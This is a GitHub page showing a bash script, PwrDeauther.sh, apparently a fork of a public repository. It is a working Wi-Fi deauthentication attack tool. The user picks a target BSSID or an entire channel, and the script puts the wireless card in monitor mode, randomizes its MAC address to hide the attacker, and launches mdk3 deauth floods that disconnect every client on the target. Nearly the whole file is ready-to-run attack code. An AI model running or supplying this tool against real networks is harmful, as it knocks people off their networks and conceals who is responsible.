forked from adamff-dev/PwrDeauther
-
Notifications
You must be signed in to change notification settings - Fork 0
/
PwrDeauther.sh
123 lines (116 loc) · 2.59 KB
/
PwrDeauther.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/bin/bash
# TERMINAL COLORS
# https://github.com/125K/terminal-colors
NO_COLOR="\e[0m"
WHITE="\e[0;17m"
BOLD_WHITE="\e[1;37m"
BLACK="\e[0;30m"
BLUE="\e[0;34m"
BOLD_BLUE="\e[1;34m"
GREEN="\e[0;32m"
BOLD_GREEN="\e[1;32m"
CYAN="\e[0;36m"
BOLD_CYAN="\e[1;36m"
RED="\e[0;31m"
BOLD_RED="\e[1;31m"
PURPLE="\e[0;35m"
BOLD_PURPLE="\e[1;35m"
BROWN="\e[0;33m"
BOLD_YELLOW="\e[1;33m"
GRAY="\e[0;37m"
BOLD_GRAY="\e[1;30m"
# END OF TERMINAL COLORS
function coolexit()
{
clear
sleep 2
ifconfig $WI down
macchanger -p $WI
iwconfig $WI mode managed
ifconfig $WI up
clear
title
echo -e $BOLD_RED
echo " Thanks for using this script"
echo -e " My GitHub:$BOLD_WHITE https://github.com/125K"
exit
}
function title() {
echo -e $BOLD_GREEN
echo " ____ ____ __ __ "
echo " / __ \\_ _______/ __ \\___ ____ ___ __/ /_/ /_ ___ _____"
echo " / /_/ / | /| / / ___/ / / / _ \\/ __ \`/ / / / __/ __ \\/ _ \\/ ___/"
echo " / ____/| |/ |/ / / / /_/ / __/ /_/ / /_/ / /_/ / / / __/ / "
echo " /_/ |__/|__/_/ /_____/\\___/\\__,_/\\__,_/\\__/_/ /_/\\___/_/ "
echo -e $BOLD_WHITE
echo " Automatic MDK3 deauther by 125K"
}
function getIFCARD() {
echo -e "$BOLD_GREEN Your interfaces: "
echo -e -n "$BOLD_WHITE"
ifconfig | grep -e ": " | sed -e 's/: .*//g' | sed -e 's/^/ /'
echo " "
echo -n -e "$BOLD_CYAN Type your wireless interface > "
echo -n -e "$BOLD_WHITE"
}
function changeMAC() {
ifconfig $WI down
iwconfig $WI mode monitor
macchanger -r $WI
ifconfig $WI up
}
title
echo -e $BOLD_CYAN
echo " Choose an option:"
echo " "
echo -e "$BOLD_BLUE 1.$BOLD_WHITE Deauth a specific BSSID"
echo -e "$BOLD_BLUE 2.$BOLD_WHITE Deauth a whole channel"
echo " "
echo -n -e "$BOLD_WHITE > "
read CHOICE
clear
if [ $CHOICE == 1 ]; then
title
echo -e $NO_COLOR
nmcli dev wifi
echo " "
echo -e -n $BOLD_CYAN
echo -n " Type the target BSSID > "
echo -e -n $BOLD_WHITE
read BSSID
clear
title
echo " "
getIFCARD
read WI
echo " "
echo -e $BOLD_GREEN
echo "Starting the attack... Press CTRL+C to stop the attack."
changeMAC
trap coolexit EXIT
mdk3 $WI d -t "$BSSID"
elif [ $CHOICE == 2 ]; then
title
echo -e $NO_COLOR
nmcli dev wifi
echo " "
echo -e -n $BOLD_CYAN
echo -n " Type the target channel > "
echo -e -n $BOLD_WHITE
read CH
clear
title
echo " "
getIFCARD
read WI
echo " "
echo -e $BOLD_GREEN
echo -e "Starting the attack... Press CTRL+C to stop the attack."
changeMAC
trap coolexit EXIT
mdk3 $WI d -c $CH
else
echo -e $BOLD_RED Invalid option
sleep 3
coolexit
fi